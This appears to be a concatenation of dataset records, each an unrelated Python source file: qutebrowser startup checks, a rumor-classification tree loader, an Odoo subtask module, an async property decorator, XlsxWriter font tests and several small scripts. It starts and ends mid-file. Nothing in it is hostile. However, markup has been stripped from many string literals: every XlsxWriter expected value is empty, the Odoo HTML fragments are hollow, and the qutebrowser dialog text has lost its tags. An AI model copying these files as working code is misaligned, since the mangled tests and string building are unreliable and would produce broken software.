This allows you to use the newer QtWebEngine backend \"\n \"(based on Chromium). \")\n\n return text, buttons\n\n def _handle_wayland_webgl(self) -> None:\n \"\"\"On older graphic hardware, WebGL on Wayland causes segfaults.\n\n See https://github.com/qutebrowser/qutebrowser/issues/5313\n \"\"\"\n self._assert_backend(usertypes.Backend.QtWebEngine)\n\n if os.environ.get('QUTE_SKIP_WAYLAND_WEBGL_CHECK'):\n return\n\n platform = objects.qapp.platformName()\n if platform not in ['wayland', 'wayland-egl']:\n return\n\n # Only Qt 5.14 should be affected\n if not qtutils.version_check('5.14', compiled=False):\n return\n if qtutils.version_check('5.15', compiled=False):\n return\n\n # Newer graphic hardware isn't affected\n opengl_info = version.opengl_info()\n if (opengl_info is None or\n opengl_info.gles or\n opengl_info.version is None or\n opengl_info.version >= (4, 3)):\n return\n\n # If WebGL is turned off, we're fine\n if not config.val.content.webgl:\n return\n\n text, buttons = self._xwayland_options()\n\n buttons.append(_Button(\"Turn off WebGL (recommended)\",\n 'content.webgl',\n False))\n text += (\"

Disable WebGL (recommended)

\"\n \"This sets the content.webgl = False option \"\n \"(if you have a config.py file, you'll need to \"\n \"set this manually).

\")\n\n self._show_dialog(backend=usertypes.Backend.QtWebEngine,\n because=(\"of frequent crashes with Qt 5.14 on \"\n \"Wayland with older graphics hardware\"),\n text=text,\n buttons=buttons)\n\n def _try_import_backends(self) -> _BackendImports:\n \"\"\"Check whether backends can be imported and return BackendImports.\"\"\"\n # pylint: disable=unused-import\n results = _BackendImports()\n\n try:\n from PyQt5 import QtWebKit\n from PyQt5.QtWebKit import qWebKitVersion\n from PyQt5 import QtWebKitWidgets\n except (ImportError, ValueError) as e:\n results.webkit_error = str(e)\n else:\n if not qtutils.is_new_qtwebkit():\n results.webkit_error = \"Unsupported legacy QtWebKit found\"\n\n try:\n from PyQt5 import QtWebEngineWidgets\n except (ImportError, ValueError) as e:\n results.webengine_error = str(e)\n\n return results\n\n def _handle_ssl_support(self, fatal: bool = False) -> None:\n \"\"\"Check for full SSL availability.\n\n If \"fatal\" is given, show an error and exit.\n \"\"\"\n if QSslSocket.supportsSsl():\n return\n\n if qtutils.version_check('5.12.4'):\n version_text = (\"If you use OpenSSL 1.0 with a PyQt package from \"\n \"PyPI (e.g. on Ubuntu 16.04), you will need to \"\n \"build OpenSSL 1.1 from sources and set \"\n \"LD_LIBRARY_PATH accordingly.\")\n else:\n version_text = (\"If you use OpenSSL 1.1 with a PyQt package from \"\n \"PyPI (e.g. on Archlinux or Debian Stretch), you \"\n \"need to set LD_LIBRARY_PATH to the path of \"\n \"OpenSSL 1.0 or use Qt >= 5.12.4.\")\n\n text = (\"Could not initialize QtNetwork SSL support. {} This only \"\n \"affects downloads and :adblock-update.\".format(version_text))\n\n if fatal:\n errbox = msgbox.msgbox(parent=None,\n title=\"SSL error\",\n text=\"Could not initialize SSL support.\",\n icon=QMessageBox.Critical,\n plain_text=False)\n errbox.exec()\n sys.exit(usertypes.Exit.err_init)\n\n assert not fatal\n log.init.warning(text)\n\n def _check_backend_modules(self) -> None:\n \"\"\"Check for the modules needed for QtWebKit/QtWebEngine.\"\"\"\n imports = self._try_import_backends()\n\n if not imports.webkit_error and not imports.webengine_error:\n return\n elif imports.webkit_error and imports.webengine_error:\n text = (\"

qutebrowser needs QtWebKit or QtWebEngine, but \"\n \"neither could be imported!

\"\n \"

The errors encountered were:

    \"\n \"
  • QtWebKit: {webkit_error}\"\n \"
  • QtWebEngine: {webengine_error}\"\n \"

\".format(\n webkit_error=html.escape(imports.webkit_error),\n webengine_error=html.escape(imports.webengine_error)))\n errbox = msgbox.msgbox(parent=None,\n title=\"No backend library found!\",\n text=text,\n icon=QMessageBox.Critical,\n plain_text=False)\n errbox.exec()\n sys.exit(usertypes.Exit.err_init)\n elif objects.backend == usertypes.Backend.QtWebKit:\n if not imports.webkit_error:\n return\n self._show_dialog(\n backend=usertypes.Backend.QtWebKit,\n because=\"QtWebKit could not be imported\",\n text=\"

The error encountered was:
{}

\".format(\n html.escape(imports.webkit_error))\n )\n elif objects.backend == usertypes.Backend.QtWebEngine:\n if not imports.webengine_error:\n return\n self._show_dialog(\n backend=usertypes.Backend.QtWebEngine,\n because=\"QtWebEngine could not be imported\",\n text=\"

The error encountered was:
{}

\".format(\n html.escape(imports.webengine_error))\n )\n\n raise utils.Unreachable\n\n def _handle_cache_nuking(self) -> None:\n \"\"\"Nuke the QtWebEngine cache if the Qt version changed.\n\n WORKAROUND for https://bugreports.qt.io/browse/QTBUG-72532\n \"\"\"\n if not configfiles.state.qt_version_changed:\n return\n\n # Only nuke the cache in cases where we know there are problems.\n # It seems these issues started with Qt 5.12.\n # They should be fixed with Qt 5.12.5:\n # https://codereview.qt-project.org/c/qt/qtwebengine-chromium/+/265408\n if qtutils.version_check('5.12.5', compiled=False):\n return\n\n log.init.info(\"Qt version changed, nuking QtWebEngine cache\")\n cache_dir = os.path.join(standarddir.cache(), 'webengine')\n if os.path.exists(cache_dir):\n shutil.rmtree(cache_dir)\n\n def _handle_serviceworker_nuking(self) -> None:\n \"\"\"Nuke the service workers directory if the Qt version changed.\n\n WORKAROUND for:\n https://bugreports.qt.io/browse/QTBUG-72532\n https://bugreports.qt.io/browse/QTBUG-82105\n https://bugreports.qt.io/browse/QTBUG-93744\n \"\"\"\n if ('serviceworker_workaround' not in configfiles.state['general'] and\n qtutils.version_check('5.14', compiled=False)):\n # Nuke the service worker directory once for every install with Qt\n # 5.14, given that it seems to cause a variety of segfaults.\n configfiles.state['general']['serviceworker_workaround'] = '514'\n reason = 'Qt 5.14'\n elif configfiles.state.qt_version_changed:\n reason = 'Qt version changed'\n elif configfiles.state.qtwe_version_changed:\n reason = 'QtWebEngine version changed'\n elif config.val.qt.workarounds.remove_service_workers:\n reason = 'Explicitly enabled'\n else:\n return\n\n service_worker_dir = os.path.join(\n standarddir.data(), 'webengine', 'Service Worker')\n bak_dir = service_worker_dir + '-bak'\n if not os.path.exists(service_worker_dir):\n return\n\n log.init.info(\n f\"Removing service workers at {service_worker_dir} (reason: {reason})\")\n\n # Keep one backup around - we're not 100% sure what persistent data\n # could be in there, but this folder can grow to ~300 MB.\n if os.path.exists(bak_dir):\n shutil.rmtree(bak_dir)\n\n shutil.move(service_worker_dir, bak_dir)\n\n def _assert_backend(self, backend: usertypes.Backend) -> None:\n assert objects.backend == backend, objects.backend\n\n def check(self) -> None:\n \"\"\"Run all checks.\"\"\"\n self._check_backend_modules()\n if objects.backend == usertypes.Backend.QtWebEngine:\n self._handle_ssl_support()\n self._handle_wayland_webgl()\n self._handle_cache_nuking()\n self._handle_serviceworker_nuking()\n else:\n self._assert_backend(usertypes.Backend.QtWebKit)\n self._handle_ssl_support(fatal=True)\n\n\ndef init(*, args: argparse.Namespace,\n save_manager: savemanager.SaveManager) -> None:\n \"\"\"Run all checks.\"\"\"\n checker = _BackendProblemChecker(no_err_windows=args.no_err_windows,\n save_manager=save_manager)\n checker.check()\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "# Top-down RvNN implementation based on the model of Jing Ma et al.\r\n# (https://github.com/majingCUHK/Rumor_RvNN ; state: 10.09.2019)\r\n# to improve the results of the rumor verification accomplished by the CLEARumor approach by Ipek Baris et al.\r\n# (https://github.com/Institute-Web-Science-and-Technologies/CLEARumor ; state: 10.09.2019).\r\n# @authors: Dhurim Sylejmani and Nico Zettler\r\n\r\nfrom typing import Dict\r\nimport model.model\r\n \r\n# Function for splitting up 'vec' component (word frequencies and indices).\r\ndef split_vec(vec: str, maxL: int):\r\n word_freq, word_index = [], []\r\n l = 0\r\n for pair in vec.split(' '):\r\n word_freq.append(float(pair.split(':')[1]))\r\n word_index.append(int(pair.split(':')[0]))\r\n l += 1\r\n ladd = [0 for i in range(maxL - l)]\r\n word_freq += ladd \r\n word_index += ladd \r\n return word_freq, word_index\r\n\r\n# Constructs the RvNN tree.\r\ndef construct_tree(tree):\r\n index2node = {}\r\n for i in tree:\r\n node = model.model.Node_tweet(idx=i)\r\n index2node[i] = node\r\n for j in tree:\r\n indexC = j\r\n indexP = tree[j]['parent']\r\n nodeC = index2node[indexC]\r\n word_freq, word_index = split_vec(tree[j]['vec'], tree[j]['maxL'])\r\n nodeC.index = word_index\r\n nodeC.word = word_freq\r\n if not indexP == 'None': # not root node\r\n if int(indexP) in index2node: # there are two IDs listed in the structure files which don't exist in the training set\r\n nodeP = index2node[int(indexP)] # => filter them out\r\n nodeC.parent = nodeP\r\n nodeP.children.append(nodeC)\r\n else: # root node\r\n root = nodeC\r\n parent_num = tree[j]['parent_num'] \r\n ini_x, ini_index = split_vec(\"0:0\", tree[j]['maxL'])\r\n x_word, x_index, tree = model.model.gen_nn_inputs(root, ini_x) # put root node (with all children) and 0 array with maxL\r\n return x_word, x_index, tree, parent_num\r\n \r\n# Loads training, dev and test data as tree structure.\r\ndef load_tree_data(label_dic: Dict, tree_dic: Dict, ID_list: list) -> (list, list, list, list, list):\r\n tree_data, word_data, index_data, y_data, parent_num_data = [], [], [], [], []\r\n for eid in ID_list:\r\n if str(eid) not in label_dic: continue\r\n if len(eid) == 18:\r\n eid = int(eid) # Twitter IDs have to be cast to int for key checking.\r\n if eid not in tree_dic:\r\n continue\r\n if len(tree_dic[eid]) <= 0:\r\n continue\r\n label = label_dic[str(eid)]\r\n if label == 'false':\r\n y_data.append([1,0,0])\r\n elif label == 'true':\r\n y_data.append([0,1,0])\r\n else: # 'unverified'\r\n y_data.append([0,0,1])\r\n x_word, x_index, tree, parent_num = construct_tree(tree_dic[eid])\r\n tree_data.append(tree)\r\n word_data.append(x_word)\r\n index_data.append(x_index)\r\n parent_num_data.append(parent_num)\r\n return tree_data, word_data, index_data, y_data, parent_num_data\r\n", "source": "NicoZettler/polpol-rumour-sequences", "license": "MIT"} {"text": "from fsUtils import setDir, isDir, mkDir, setFile, isFile, setSubFile\n\n##############################################################################################################################\n# Movie Base Class\n##############################################################################################################################\nclass movieDB():\n def __init__(self, basedir=None, dbdir=None, datadir=\"data\", resultsdir=\"results\"):\n self.dbdir = dbdir\n self.datadir = datadir\n self.resultsdir = resultsdir\n if basedir is None:\n from os import getcwd\n self.basedir = getcwd()\n else:\n self.basedir = basedir\n\n def setDBDir(self, dbdir):\n self.dbdir=dbdir\n\n def setDataDir(self, datadir):\n self.datadir=datadir\n\n def setResultsDir(self, resultsdir):\n self.resultsdir=resultsdir\n\n \n def getMovieDir(self):\n dirname = self.basedir\n if not isDir(dirname): mkDir(dirname)\n return dirname\n \n def getMovieDBDir(self):\n dirname = setDir(self.getMovieDir(), self.dbdir)\n if not isDir(dirname): mkDir(dirname)\n return dirname\n\n def getDataDir(self):\n dirname = setDir(self.getMovieDBDir(), self.datadir)\n if not isDir(dirname): mkDir(dirname)\n return dirname\n\n def getResultsDir(self):\n dirname = setDir(self.getMovieDBDir(), self.resultsdir)\n if not isDir(dirname): mkDir(dirname)\n return dirname", "source": "tgadf/movies", "license": "MIT"} {"text": "import pandas as pd\n\ncsv_file = \"Wuhan-2019-nCoV.csv\"\njson_file = \"Wuhan-2019-nCoV.json\"\ndtype = {\"provinceCode\": str, \"cityCode\": str}\n\ndf = pd.read_csv(csv_file, dtype=dtype)\nwith open(json_file, \"w\", encoding=\"utf-8\") as file:\n df.to_json(file, orient=\"records\", force_ascii=False)", "source": "65308920/Wuhan-2019-nCoV", "license": "MIT"} {"text": "print()\nprint('LEITOR DE N\u00daMEROS')\nprint('-' * 25)\n\nnum = int(input('Digite um n\u00famero: '))\nsoma = 0\ncontador = 0\n\nwhile num != 999:\n soma += num\n num = int(input('Digite um n\u00famero: '))\n contador += 1\n\nprint()\nprint('\\033[1;4;34m%i\\033[m n\u00fameros \\033[4mforam digitados\\033[m' % contador)\nprint('\\nE a soma entre esses %i n\u00fameros \u00e9 igual a: \\033[1;4;36m%i' % (contador, soma))\n", "source": "LucasBalbinoSS/Exercicios-Python-Mundo2", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n#\n# Copyright \u00a9 2009-2010 CEA\n# Pierre Raybaut\n# Licensed under the terms of the CECILL License\n# (see guiqwt/__init__.py for details)\n\n# -*- coding: utf-8 -*-\n\"\"\"\nTesting guiqwt QtDesigner plugins\n\nThese plugins provide CurveWidget and ImageWidget objects \nembedding in GUI layouts directly from QtDesigner.\n\"\"\"\n\nSHOW = True # Show test in GUI-based test launcher\n\nimport sys, os.path as osp\n\nfrom qtpy.QtWidgets import QApplication\nfrom guiqwt.qtdesigner import loadui\nfrom guiqwt.builder import make\n\nFormClass = loadui(osp.splitext(__file__)[0] + \".ui\")\n\n\nclass TestWindow(FormClass):\n def __init__(self, image_data):\n super(TestWindow, self).__init__()\n plot = self.imagewidget.plot\n plot.add_item(make.image(image_data))\n self.setWindowTitle(\"QtDesigner plugins example\")\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n from guiqwt.tests.image import compute_image\n\n form = TestWindow(compute_image())\n form.show()\n sys.exit(app.exec_())\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "# TODO(colin): fix these lint errors (http://pep8.readthedocs.io/en/release-1.7.x/intro.html#error-codes)\n# pep8-disable:E128\n\"\"\"Configuration for Flask app\n\nImportant: Place your keys in the secrets.py module,\n which should be kept out of version control.\n\n\"\"\"\n\nimport logging\nimport os\nimport sys\n\n# Sensitive values are placed in a secrets file that isn't checked into\n# version control.\ntry:\n import secrets\nexcept ImportError:\n # If the secrets aren't present, we can't run the server.\n logging.critical(\"Can't find secrets.py.\\nCopy secrets.example.py\" +\n \" to secrets.py, enter the necessary values, and try again.\")\n sys.exit(1)\n\nDEBUG_MODE = False\n\n# Auto-set debug mode based on App Engine dev environ\nif os.environ.get(\"SERVER_SOFTWARE\", \"\").startswith(\"Dev\"):\n DEBUG_MODE = True\n\nDEBUG = DEBUG_MODE\n\n# Set secret keys for CSRF protection\nSECRET_KEY = secrets.app_secret_key\n", "source": "Programmerino/khan-api", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\nfrom odoo import api, fields, models\nfrom odoo.exceptions import Warning as UserError\nfrom odoo.tools import html_escape as escape\nfrom odoo.tools.translate import _\n\nSUBTASK_STATES = {\n \"done\": \"Done\",\n \"todo\": \"TODO\",\n \"waiting\": \"Waiting\",\n \"cancelled\": \"Cancelled\",\n}\n\n\nclass ProjectTaskSubtask(models.Model):\n _name = \"project.task.subtask\"\n _inherit = [\"ir.needaction_mixin\"]\n state = fields.Selection(\n [(k, v) for k, v in SUBTASK_STATES.items()],\n \"Status\",\n required=True,\n copy=False,\n default=\"todo\",\n )\n name = fields.Char(required=True, string=\"Description\")\n reviewer_id = fields.Many2one(\n \"res.users\", \"Created by\", readonly=True, default=lambda self: self.env.user\n )\n project_id = fields.Many2one(\n \"project.project\", related=\"task_id.project_id\", store=True\n )\n user_id = fields.Many2one(\"res.users\", \"Assigned to\", required=True)\n task_id = fields.Many2one(\n \"project.task\", \"Task\", ondelete=\"cascade\", required=True, index=\"1\"\n )\n task_state = fields.Char(\n string=\"Task state\", related=\"task_id.stage_id.name\", readonly=True\n )\n hide_button = fields.Boolean(compute=\"_compute_hide_button\")\n recolor = fields.Boolean(compute=\"_compute_recolor\")\n deadline = fields.Datetime(string=\"Deadline\")\n\n @api.multi\n def _compute_recolor(self):\n for record in self:\n if self.env.user == record.user_id and record.state == \"todo\":\n record.recolor = True\n\n @api.multi\n def _compute_hide_button(self):\n for record in self:\n if self.env.user not in [record.reviewer_id, record.user_id]:\n record.hide_button = True\n\n @api.multi\n def _compute_reviewer_id(self):\n for record in self:\n record.reviewer_id = record.create_uid\n\n @api.model\n def _needaction_domain_get(self):\n if self._needaction:\n return [(\"state\", \"=\", \"todo\"), (\"user_id\", \"=\", self.env.uid)]\n return []\n\n @api.multi\n def write(self, vals):\n old_names = dict(zip(self.mapped(\"id\"), self.mapped(\"name\")))\n result = super(ProjectTaskSubtask, self).write(vals)\n for r in self:\n if vals.get(\"state\"):\n r.task_id.send_subtask_email(\n r.name, r.state, r.reviewer_id.id, r.user_id.id\n )\n if self.env.user != r.reviewer_id and self.env.user != r.user_id:\n raise UserError(\n _(\"Only users related to that subtask can change state.\")\n )\n if vals.get(\"name\"):\n r.task_id.send_subtask_email(\n r.name,\n r.state,\n r.reviewer_id.id,\n r.user_id.id,\n old_name=old_names[r.id],\n )\n if self.env.user != r.reviewer_id and self.env.user != r.user_id:\n raise UserError(\n _(\"Only users related to that subtask can change state.\")\n )\n if vals.get(\"user_id\"):\n r.task_id.send_subtask_email(\n r.name, r.state, r.reviewer_id.id, r.user_id.id\n )\n return result\n\n @api.model\n def create(self, vals):\n result = super(ProjectTaskSubtask, self).create(vals)\n vals = self._add_missing_default_values(vals)\n task = self.env[\"project.task\"].browse(vals.get(\"task_id\"))\n task.send_subtask_email(\n vals[\"name\"], vals[\"state\"], vals[\"reviewer_id\"], vals[\"user_id\"]\n )\n return result\n\n @api.multi\n def change_state_done(self):\n for record in self:\n record.state = \"done\"\n\n @api.multi\n def change_state_todo(self):\n for record in self:\n record.state = \"todo\"\n\n @api.multi\n def change_state_cancelled(self):\n for record in self:\n record.state = \"cancelled\"\n\n @api.multi\n def change_state_waiting(self):\n for record in self:\n record.state = \"waiting\"\n\n\nclass Task(models.Model):\n _inherit = \"project.task\"\n subtask_ids = fields.One2many(\"project.task.subtask\", \"task_id\", \"Subtask\")\n kanban_subtasks = fields.Text(compute=\"_compute_kanban_subtasks\")\n default_user = fields.Many2one(\"res.users\", compute=\"_compute_default_user\")\n\n @api.multi\n def _compute_default_user(self):\n for record in self:\n if self.env.user != record.user_id and self.env.user != record.create_uid:\n record.default_user = record.user_id\n else:\n if self.env.user != record.user_id:\n record.default_user = record.user_id\n elif self.env.user != record.create_uid:\n record.default_user = record.create_uid\n elif (\n self.env.user == record.create_uid\n and self.env.user == record.user_id\n ):\n record.default_user = self.env.user\n\n @api.multi\n def _compute_kanban_subtasks(self):\n for record in self:\n result_string1 = \"\"\n result_string2 = \"\"\n result_string3 = \"\"\n for subtask in record.subtask_ids:\n bounding_length = 25\n tmp_list = (subtask.name).split()\n for index in range(len(tmp_list)):\n if len(tmp_list[index]) > bounding_length:\n tmp_list[index] = tmp_list[index][:bounding_length] + \"...\"\n tmp_subtask_name = \" \".join(tmp_list)\n if (\n subtask.state == \"todo\"\n and record.env.user == subtask.user_id\n and record.env.user == subtask.reviewer_id\n ):\n tmp_string3 = escape(u\": {}\".format(tmp_subtask_name))\n result_string3 += u\"
  • TODO{}
  • \".format(tmp_string3)\n elif subtask.state == \"todo\" and record.env.user == subtask.user_id:\n tmp_string1_1 = escape(u\"{}\".format(subtask.reviewer_id.name))\n tmp_string1_2 = escape(u\"{}\".format(tmp_subtask_name))\n result_string1 += u\"
  • TODO from {}: {}
  • \".format(\n tmp_string1_1, tmp_string1_2\n )\n elif subtask.state == \"todo\" and record.env.user == subtask.reviewer_id:\n tmp_string2_1 = escape(u\"{}\".format(subtask.user_id.name))\n tmp_string2_2 = escape(u\"{}\".format(tmp_subtask_name))\n result_string2 += u\"
  • TODO for {}: {}
  • \".format(\n tmp_string2_1, tmp_string2_2\n )\n record.kanban_subtasks = (\n \"
      \" + result_string1 + result_string3 + result_string2 + \"
    \"\n )\n\n @api.multi\n def send_subtask_email(\n self,\n subtask_name,\n subtask_state,\n subtask_reviewer_id,\n subtask_user_id,\n old_name=None,\n ):\n for r in self:\n body = \"\"\n reviewer = self.env[\"res.users\"].browse(subtask_reviewer_id)\n user = self.env[\"res.users\"].browse(subtask_user_id)\n state = SUBTASK_STATES[subtask_state]\n if subtask_state == \"done\":\n state = '' + state + \"\"\n if subtask_state == \"todo\":\n state = '' + state + \"\"\n if subtask_state == \"cancelled\":\n state = '' + state + \"\"\n if subtask_state == \"waiting\":\n state = '' + state + \"\"\n partner_ids = []\n subtype = \"project_task_subtask.subtasks_subtype\"\n if user == self.env.user and reviewer == self.env.user:\n body = \"

    \" + \"\" + state + \": \" + escape(subtask_name)\n subtype = False\n elif self.env.user == reviewer:\n body = (\n \"

    \"\n + escape(user.name)\n + \",
    \"\n + state\n + \": \"\n + escape(subtask_name)\n )\n partner_ids = [user.partner_id.id]\n elif self.env.user == user:\n body = (\n \"

    \"\n + escape(reviewer.name)\n + ', I updated checklist item assigned to me:
    '\n + state\n + \": \"\n + escape(subtask_name)\n )\n partner_ids = [reviewer.partner_id.id]\n else:\n body = (\n \"

    \"\n + escape(user.name)\n + \", \"\n + escape(reviewer.name)\n + ', I updated checklist item, now its assigned to '\n + escape(user.name)\n + \":
    \"\n + state\n + \": \"\n + escape(subtask_name)\n )\n partner_ids = [user.partner_id.id, reviewer.partner_id.id]\n if old_name:\n body = (\n body\n + '
    Updated from
    '\n + state\n + \": \"\n + escape(old_name)\n + \"

    \"\n )\n else:\n body = body + \"

    \"\n r.message_post(\n message_type=\"comment\",\n subtype=subtype,\n body=body,\n partner_ids=partner_ids,\n )\n", "source": "ShaheenHossain/itpp-labs-misc-addons13", "license": "MIT"} {"text": "#\n# Decorators\n#\n\nimport inspect\nimport logging\nfrom functools import cached_property\nfrom typing import Any, Callable, Dict, Optional\n\nfrom aio.core import event\nfrom aio.core.dev import debug\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass NoCache(Exception):\n pass\n\n\nclass async_property: # noqa: N801\n name = None\n cache_name = \"__async_prop_cache__\"\n\n @classmethod\n def is_cached(cls, item: object, name: str) -> bool:\n return (\n hasattr(item, cls.cache_name)\n and name in getattr(item, cls.cache_name))\n\n # If the decorator is called with `kwargs` then `fun` is `None`\n # and instead `__call__` is triggered with `fun`\n def __init__(self, fun: Optional[Callable] = None, cache: bool = False):\n self.cache = cache\n self._fun = fun\n self.name = getattr(fun, \"__name__\", None)\n self.__doc__ = getattr(fun, '__doc__')\n if fun and hasattr(fun, \"__isabstractmethod__\"):\n self.__isabstractmethod__ = fun.__isabstractmethod__ # type:ignore\n if fun and hasattr(fun, \"__isinterfacemethod__\"):\n self.__isinterfacemethod__ = (\n fun.__isinterfacemethod__) # type:ignore\n\n def __call__(self, fun: Callable) -> 'async_property':\n self._fun = fun\n self.name = self.name or fun.__name__\n self.__doc__ = getattr(fun, '__doc__')\n if hasattr(fun, \"__isabstractmethod__\"):\n self.__isabstractmethod__ = fun.__isabstractmethod__ # type:ignore\n if hasattr(fun, \"__isinterfacemethod__\"):\n self.__isinterfacemethod__ = (\n fun.__isinterfacemethod__) # type:ignore\n return self\n\n def __get__(self, instance: Any, cls=None) -> Any:\n if instance is None:\n return self\n if inspect.isasyncgenfunction(self._fun):\n return self.async_iter_result(instance)\n return self.async_result(instance)\n\n @cached_property\n def loaders(self) -> Dict[str, event.Loader]:\n return {}\n\n def fun(self, *args, **kwargs):\n if self._fun:\n return self._fun(*args, **kwargs)\n\n def get_prop_cache(self, instance: Any) -> dict:\n return getattr(instance, self.cache_name, {})\n\n # An async wrapper function to return the result\n # This is returned when the prop is called if the wrapped\n # method is an async generator\n async def async_iter_result(self, instance: Any):\n # retrieve the value from cache if available\n try:\n result = self.get_cached_prop(instance)\n except (NoCache, KeyError):\n result = None\n\n if result is None:\n result = self.set_prop_cache(instance, self.fun(instance))\n\n async for item in result:\n yield item\n\n # An async wrapper function to return the result\n # This is returned when the prop is called\n async def async_result(self, instance: Any) -> Any:\n # retrieve the value from cache if available\n try:\n return self.get_cached_prop(instance)\n except (NoCache, KeyError):\n pass\n if self.cache:\n return await self.load_cooperatively(instance)\n return await self.load(instance)\n\n def get_cached_prop(self, instance: Any) -> Any:\n if not self.cache:\n raise NoCache\n return self.get_prop_cache(instance)[self.name]\n\n def get_loader(self, instance: Any) -> Optional[event.Loader]:\n try:\n hash(instance)\n except TypeError:\n return None\n if instance not in self.loaders:\n self.loaders[instance] = event.Loader()\n return self.loaders[instance]\n\n @debug.logging(\n log=__name__,\n format_result=\"self._debug_prop\")\n async def load(self, instance: Any) -> Any:\n # derive the result, set the cache if required, and return the result\n return self.set_prop_cache(instance, await self.fun(instance))\n\n async def load_cooperatively(self, instance: Any) -> Any:\n loader = self.get_loader(instance)\n if not loader:\n # Unhashable type, just load\n return await self.load(instance)\n if not await loader:\n with loader:\n return await self.load(instance)\n return self.get_cached_prop(instance)\n\n def set_prop_cache(self, instance: Any, result: Any) -> Any:\n if not self.cache:\n return result\n cache = self.get_prop_cache(instance)\n cache[self.name] = result\n setattr(instance, self.cache_name, cache)\n return result\n\n def _debug_prop(self, start, result, time_taken, result_info):\n (instance, args, kwargs), start_time = start\n cache = (\n \"\\N{viewdata square}\"\n if self.cache\n else \"~\")\n return f\"{cache} {result_info}: {self._repr(instance)}\"\n\n def _repr(self, instance: Any) -> str:\n if self._fun is None:\n return \"async_property\"\n return (\n f\"<{instance.__class__.__module__}\"\n f\".{self._fun.__qualname__} {hex(id(instance))}>\")\n", "source": "Nordix/pytooling", "license": "Apache-2.0"} {"text": "###############################################################################\n#\n# Tests for XlsxWriter.\n#\n# Copyright (c), 2013-2017, John McNamara, jmcnamara@cpan.org\n#\n\nimport unittest\nfrom ...compatibility import StringIO\nfrom ...styles import Styles\nfrom ...format import Format\n\n\nclass TestWriteFont(unittest.TestCase):\n \"\"\"\n Test the Styles _write_font() method.\n\n \"\"\"\n\n def setUp(self):\n self.fh = StringIO()\n self.styles = Styles()\n self.styles._set_filehandle(self.fh)\n\n def test_write_font_1(self):\n \"\"\"Test the _write_font() method. Default properties.\"\"\"\n properties = {}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_2(self):\n \"\"\"Test the _write_font() method. Bold.\"\"\"\n properties = {'bold': 1}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_3(self):\n \"\"\"Test the _write_font() method. Italic.\"\"\"\n properties = {'italic': 1}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_4(self):\n \"\"\"Test the _write_font() method. Underline.\"\"\"\n properties = {'underline': 1}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_5(self):\n \"\"\"Test the _write_font() method. Strikeout.\"\"\"\n properties = {'font_strikeout': 1}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_6(self):\n \"\"\"Test the _write_font() method. Superscript.\"\"\"\n properties = {'font_script': 1}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_7(self):\n \"\"\"Test the _write_font() method. Subscript.\"\"\"\n properties = {'font_script': 2}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_8(self):\n \"\"\"Test the _write_font() method. Font name.\"\"\"\n properties = {'font_name': 'Arial'}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_9(self):\n \"\"\"Test the _write_font() method. Font size.\"\"\"\n properties = {'size': 12}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_10(self):\n \"\"\"Test the _write_font() method. Outline.\"\"\"\n properties = {'font_outline': 1}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_11(self):\n \"\"\"Test the _write_font() method. Shadow.\"\"\"\n properties = {'font_shadow': 1}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_12(self):\n \"\"\"Test the _write_font() method. Colour = red.\"\"\"\n properties = {'color': '#FF0000'}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_13(self):\n \"\"\"Test the _write_font() method. All font attributes to check order.\"\"\"\n properties = {\n 'bold': 1,\n 'color': '#FF0000',\n 'font_outline': 1,\n 'font_script': 1,\n 'font_shadow': 1,\n 'font_strikeout': 1,\n 'italic': 1,\n 'size': 12,\n 'underline': 1,\n }\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_14(self):\n \"\"\"Test the _write_font() method. Double underline.\"\"\"\n properties = {'underline': 2}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_15(self):\n \"\"\"Test the _write_font() method. Double underline.\"\"\"\n properties = {'underline': 33}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def 